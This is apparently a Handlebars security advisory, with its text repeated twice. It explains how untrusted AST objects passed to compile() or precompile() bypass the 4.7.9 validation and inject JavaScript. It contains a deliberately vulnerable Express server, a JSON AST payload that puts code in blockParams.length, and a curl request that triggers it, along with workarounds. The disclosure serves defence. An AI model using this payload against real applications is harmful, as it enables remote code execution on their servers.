Summary
Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.
If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.
Applications that only ever pass template strings are not affected.
This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.
Details
The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:
| AST value |
Written into generated code as |
Compile options needed |
Program.blockParams.length |
container.program(<index>, data, <length>) |
none (default options) |
depth on a param that is not a PathExpression, e.g. a StringLiteral |
depths[<depth>] |
stringParams: true |
A StringLiteral.value that is not a string |
raw JavaScript literal |
stringParams: true |
A PathExpression.original that is not a string |
raw JavaScript literal |
stringParams: true |
The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:
- the
blockParams object has no type, so none of the type-specific checks apply, and
- the walker skips the string under
length because it is not an object.
The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.
Proof of Concept
- Start a server that compiles request input:
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
res.send(template());
});
app.listen(2123);
- Save this request body as
poc.json. missingHelper does not need to exist:
{
"text": {
"type": "Program",
"loc": { "start": { "line": 1, "column": 0 } },
"body": [
{
"type": "BlockStatement",
"path": {
"type": "PathExpression", "data": false, "depth": 0,
"parts": ["missingHelper"], "original": "missingHelper",
"loc": { "start": { "line": 1, "column": 0 } }
},
"params": [],
"program": {
"type": "Program",
"blockParams": {
"length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
},
"body": [],
"loc": { "start": { "line": 1, "column": 0 } }
},
"openStrip": { "open": false, "close": false },
"inverseStrip": { "open": false, "close": false },
"closeStrip": { "open": false, "close": false },
"loc": { "start": { "line": 1, "column": 0 } }
}
]
}
}
- Send the request:
curl -s -X POST 'http://127.0.0.1:2123/api/render' \
-H 'Content-Type: application/json' --data-binary @poc.json
The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:
Error: Injected code ran as uid 1000
Impact
An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().
compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).
precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.
if (typeof templateInput !== 'string') {
throw new TypeError('Template must be a string');
}
- Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.
Credits
Variant Program.blockParams
Variant BooleanLiteral|NumberLiteral.value
Variant PathExpression.depth
References
Summary
Handlebars.compile()andHandlebars.precompile()accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values onPathExpression,NumberLiteralandBooleanLiteralnodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.If an application passes an untrusted object to
compile()orprecompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. Withcompile(), the code runs on the server when the template renders. Withprecompile(), it ends up in the precompiled output and runs wherever that output is loaded.Applications that only ever pass template strings are not affected.
This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.
Details
The 4.7.9 validator runs in
parseWithoutProcessing()and walks the whole AST. It only checks values on nodes whosetypeisPathExpression,NumberLiteralorBooleanLiteral. It passes over plain objects without atype, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:Program.blockParams.lengthcontainer.program(<index>, data, <length>)depthon a param that is not aPathExpression, e.g. aStringLiteraldepths[<depth>]stringParams: trueStringLiteral.valuethat is not a stringstringParams: truePathExpression.originalthat is not a stringstringParams: trueThe first row works with default options. A
ProgramwithblockParams: { "length": "<JS expression>" }passes validation because:blockParamsobject has notype, so none of the type-specific checks apply, andlengthbecause it is not an object.The compiler then reads
program.blockParams.lengthand writes the string directly into the template function. Thecontainer.program(...)call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.Proof of Concept
poc.json.missingHelperdoes not need to exist:{ "text": { "type": "Program", "loc": { "start": { "line": 1, "column": 0 } }, "body": [ { "type": "BlockStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["missingHelper"], "original": "missingHelper", "loc": { "start": { "line": 1, "column": 0 } } }, "params": [], "program": { "type": "Program", "blockParams": { "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()" }, "body": [], "loc": { "start": { "line": 1, "column": 0 } } }, "openStrip": { "open": false, "close": false }, "inverseStrip": { "open": false, "close": false }, "closeStrip": { "open": false, "close": false }, "loc": { "start": { "line": 1, "column": 0 } } } ] } }The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:
Impact
An application is affected if untrusted input can reach
Handlebars.compile()orHandlebars.precompile()as an object instead of a string. A common way this happens is passing a field from a JSON request body straight tocompile().compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.Workarounds
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.Credits
Variant
Program.blockParamsVariant
BooleanLiteral|NumberLiteral.valueVariant
PathExpression.depthReferences